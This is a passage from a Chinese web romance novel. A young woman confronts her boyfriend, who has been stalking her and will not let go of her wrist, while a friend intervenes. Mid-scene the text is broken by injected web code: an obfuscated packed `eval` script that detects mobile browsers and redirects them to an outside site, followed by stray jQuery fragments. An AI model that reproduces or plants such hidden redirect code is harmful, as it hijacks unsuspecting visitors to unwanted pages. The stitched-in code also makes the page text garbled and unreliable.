季春也瞳孔颤抖,发现来人,掩饰性地闭上眼睛,用手臂擦干眼泪。
睁开眼睛时,季春也面前出现一张纸巾。
傅储庭伸出手,什么都没有说,把纸巾递到她眼前。
“谢谢你。”嗓子有些哑,闷闷的季春也低头说话。
她用纸巾擦拭脸上的泪水,站起身,脑子晕眩,站不稳,险些摔倒。
傅储庭眼疾手快,一双手握住她的手臂,防止她摔倒。
蹲久了,季春也头晕目眩,休息了一会儿,身体的不舒服逐渐消失。
她动了一下胳膊,手臂从傅储庭的手掌处溜走。
“傅大哥,谢谢你。”季春也抬头,真诚地说。
傅储庭见她情绪不好,问:“发生什么了?你怎么蹲在这里?”
季春也顿住,哭的眼睛和脸颊都红了起来,脸上带着水痕,看上去楚楚可怜。
她轻吸一下鼻子:“我没事,只是想起了一些事情,心里难受。”
不想告诉傅储庭她和陈迟晋的事情。
这件事情少一个人知道,就少了一些影响。
傅储庭察觉到她不想说,就不再勉强,想了想,主动问:“前面新开了一家店,网上说比较好吃,现在中午了,我请你去吃饭吧?”
季春也实在是没有心情吃饭,对着傅储庭牵强地笑,然后摇头:“不了,我不饿。”
傅储庭叹息一口气,劝说道:“别想不开心的事情了,对你的身体不好,都哭成小花猫了。”
玩笑般的语气。
季春也的心动了一下,笑了起来。
傅储庭也在笑,盛赞道:“你笑起来就很漂亮。”
季春也对着傅储庭不好意思地点头。
心里的郁气少了一些,但陈迟晋还在影响到她。
太阳早已高高挂在湛蓝的天空中。
现在不早了,季春也想要开口说自己要回家的话。
话还没有说出口,就被一个人打断。
“春也姐。”一个低沉的声音响起,语气中有着怒气,陈迟晋不开心地站在两人的不远处。
傅储庭听到声音,转过身子,看见了站在那里脸色不好的陈迟晋。
季春也睫毛上下闪了闪,不想见到陈迟晋,不说话。
陈迟晋旁若无人,大步走向季春也。
周身冷冽的人停在季春也面前,季春也不去看他,扭过身子。
傅储庭瞅着眼前的情形,瞬间就明白了事情的缘由。
陈迟晋抬起手,想要握住季春也的手。
“春也姐,你别生气了,我错了,我们一起回家吧。”
季春也闪开,不让陈迟晋那只手得逞。
她看都没看陈迟晋,扭过头,面对着傅储庭,嗓音还有些哑,“傅大哥,我还有事就先走了。”
陈迟晋急了,不顾季春也的疏离,用力握住季春也的手。
季春也低头,看着自己手上的脉络清晰的手,“松开。”
陈迟晋不松,只说:“对不起。”
季春也有了动作,甩了一下胳膊,但甩不开那只大手。
耐心被磨灭,季春也心情本来就不好,这会脸色都苍白了,“我不想看见你,你给我松开。”
季春也很生气。
非常生气。
哄都哄不好的那种。
季春也极少生气,除非对方做了很过分的事情,让她觉得触碰自己的底线,才会生气。
不喜欢被人跟踪,被人在背地里盯着看,没有秘密的活在那个人身边。
而且陈迟晋还不觉得自己做错了什么,还不是一次两次做这种过分的事情了。
只要想起陈迟晋,季春也就会想到他跟踪自己。
季春也受不了。
这样太压抑了。
在满是阳光的世界下,你的背后跟着一个人,偷窥者观察着你的一举一动,知道你的所有。
只要想想,就浑身起了鸡皮疙瘩。
何况对方是自己的男朋友。
陈迟晋低眼,双眸一直盯着季春也,不错过她的任何变化,从始至终没说过其他话,只说三个字。
“对不起。”
季春也无奈地往后退了一步,手腕还紧紧被抓着,拉长在空气里。
她抬起头,望向眼睛猩红的男人,真心发问:“你除了对不起还会说什么?”
陈迟晋神色着急,“春也姐,我知道错了,我以后再也不会那样做了,你原谅我吧。”
季春也想笑。
带着无奈地笑意响起。
好像陈迟晋每次犯错,都只会说自己错了,不会再说其他的。
改变的话从不会说。
就算说改变的话了,下次还是这么会做。
季春也深吸了一口气:“你松开我,我现在很生气,保不齐我会做什么不开心的事。”
季春也第一次以这种口吻在陈迟晋面前这样说话。
带着威胁和厌烦,不给人任何的机会。
陈迟晋手指僵住,不得动弹,但他还是没有松手。
兔子急了也会咬人,季春也实在是被陈迟晋气到了,拼命甩着手腕,但是陈迟晋的手掌像是焊在上面,纹丝不动。
季春也的眼泪渐渐出现了,无声地哭起来,心里难受的厉害,有些无助。
她不再甩手臂,低着头,看着石板路,可怜极了。
傅储庭皱眉,走向前,手放在陈迟晋紧绷的手臂上,“陈迟晋,你松开,姜姜哭了。”
陈迟晋阴沉着说:“我们的事情不用你管。”
傅储庭:“姜姜是我朋友,她在哭,我必须管。”
陈迟晋嘴角噙着笑:“我是她男朋友,你管不了。”
傅储庭气笑了:“有你这样把女朋友弄哭的男朋友吗?”
陈迟晋呆滞了一下,不知所措,但看见了傅储庭,神色恢复正常,“我和自己女朋友的事情不用你管,你管好你自己,我只是犯了一点错,我和春也姐一会儿就会和好。”
说到最后,陈迟晋不知道是陈述事实,还是自欺欺人。
傅储庭冷笑:“你既然想对姜姜好,就先松开她,不要让她伤心了。”
陈迟晋低头望了一下背对着自己的人。
被太阳照的透明的耳朵露出来,上面粉嫩,季春也安静地流眼泪,滚烫的泪珠掉在地上,浸出湿痕。
陈迟晋不敢松开手,害怕季春也消失在自己面前。
“你别叫她的名字。”陈迟晋蔑视,“你要是没事,就先走,我们的事情,你不需要插手。”
傅储庭蹙眉,再一次提醒:“你要是想让姜姜讨厌你就赶紧松开手。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473496|197784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
陈迟晋抱住季春也,不再搭理他,语气温柔:“春也姐,你别哭了,我错了,以后再也不会了,你想打我骂我都行,你别哭了,我很爱你,很爱你。”
执迷不悟。
傅储庭搬出一个人:“要是再不松手,我就叫奶奶过来解决你。”
本以为陈迟晋会害怕刘梅,因为之前,季春也就说过不能告诉刘梅他们谈恋爱的事情。
但陈迟晋表情激动,癫狂似地笑了一下:“好啊,你叫刘奶奶来,这样我就不用费尽心思跟她说我和春也姐的事了。”
傅储庭怔住。
季春也抬起头,脸上都是泪水,恳求似地说话:“傅大哥你别跟奶奶说,这是我和他的事情,不要让奶奶知道。”
傅储庭看见曾经温柔带着笑意的人,现在一副死气沉沉,脸上都是泪的人,心里疼了一下。
半晌,他开口:“我不告诉奶奶。”
陈迟晋可惜了一下,不过很快恢复正常。
他见季春也肯说话,就柔声柔气说:“春也姐,中午了,我们回家吧。”
语气像是刚才什么都没有发生。
季春也抬起眼里,与对方对视,“陈迟晋,我之前怎么没有发现你是这样人。”
陈迟晋顿住,眯着眼,笑着问:“什么样的人?”
“自私自利,不为别人着想,一心想着自己的人。”季春也回答。
“我本来就是这样的人,只不过对你不是这样。”陈迟晋大方承认。
季春也的耳朵一直在嗡鸣,脑子很乱,心脏很疼。
她没想到陈迟晋会同意。
时至今日,她才发现陈迟晋是这样的人。
陈迟晋看着她说:“因为你是我的爱人,需要了解我,所以我才会承认的,这件事情,早一天知道,或者晚一天知道没有差别。”
季春也无力地站在那里。
不应该说陈迟晋变了一个人,应该说陈迟晋就是这样的人。
只不过一直在隐瞒。
直到现在,陈迟晋还在道歉认错,不说改变的话,“春也姐,刚才的事情是我对不起你,以后不会发生了,发生刚才的事情,是因为我爱你。”
这样的语气说话,季春也在他们面前仿佛成了无理取闹的人。
说这样的话,好像让季春也承认,陈迟晋没有错,一切的原因都是因为他太爱季春也了。
如果不是爱季春也,他也不会那样做。
他说话,把一切的罪过都偏向季春也。
季春也成了那个罪人。
季春也棕色的眼珠在阳光的照耀下,变成了淡淡的颜色,阳光刺痛着眼睛。
陈迟晋用另一只空闲的手抬起来,挡住季春也眼前的阳光,贴心的如同一只小狗。
“看着阳光对眼睛不好。”
季春也闭上眼睛,酸涩感袭来。
无力感充斥着身体。
好累。
她不想见到陈迟晋。
一点都不想见到。
想要缩在龟壳里,谁都看不见她,除了她自己。
季春也眼底都是疲倦,她看着陈迟晋,没有语气地说:“我很累。”
陈迟晋一喜:“累了我就送你回家。”
他对季春也的相处模式如同从前,从未改变,从未发生不高兴的事。